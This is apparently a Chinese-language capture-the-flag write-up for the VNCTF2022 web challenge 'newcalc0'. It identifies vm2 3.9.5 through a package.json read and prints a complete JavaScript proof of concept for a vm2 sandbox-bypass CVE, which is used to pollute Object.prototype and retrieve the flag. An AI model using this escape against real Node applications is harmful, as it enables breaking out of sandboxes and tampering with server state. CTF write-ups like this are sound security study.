【WEB】VM2沙箱逃逸

VM2的沙箱逃逸出自VNCTF2022-WEB-newcalc0
根据hint访问package.json

///source?path=/package.json
...
  "dependencies": {
    "express": "^4.17.1",
    "pm2": "^4.5.6",
    "vm2": "^3.9.5"
  }
...

再阅读源码,无其他位置可以注入,故寻找VM2的CVE
这里有个CVE数据库可以使用
Snyk Vulnerability Database(https://security.snyk.io/)
我们于是找到了一个VM2绕过的CVE
Sandbox Bypass Affecting VM2 versions <3.9.6
刚好VM2版本对应上了,理论存在,实践开始
由于第一个poc好像被过滤了一部分,于是直接尝试第二个

e=1;function getRootPrototype(obj) {//e=1;直接先把module.exports=处理了
    while (obj.__proto__) {
        obj = obj.__proto__;
    }
    return obj;
}
function stack(ref, cb) {
    let stack = new Error().stack;
    stack.match(/checkReferenceRecursive/g);
}
try {
    global.temp0 = RegExp.prototype.__defineGetter__('global', () => {
        getRootPrototype(this);
        stack(this);
        return true;
    }), function functionInvocationAnalysis(r) {
        stack(r);
    }(temp0), global.temp0;
    RegExp.prototype.exec = function (str) {
        stack(arguments);
    };
} catch (e) {
    getRootPrototype(e).prototype=[1,2,3];///根据题目要求对prototype注入,一次不行,多submit几次(50+一直点就对了),总有一次能污染到原型链
    //getRootPrototype(Object).prototype=[1,2,3];/也许也可以这样原型链污染
    module.exports=Object.keys(Object.prototype);//返回目前的prototype进行回显确认
}

再次访问/flag就出了
主要是对代码的理解,要知道哪里可以对prototype进行修改以及hint:package.json的使用
2022/2/14:复现到3点多,一次不行,多submit几次!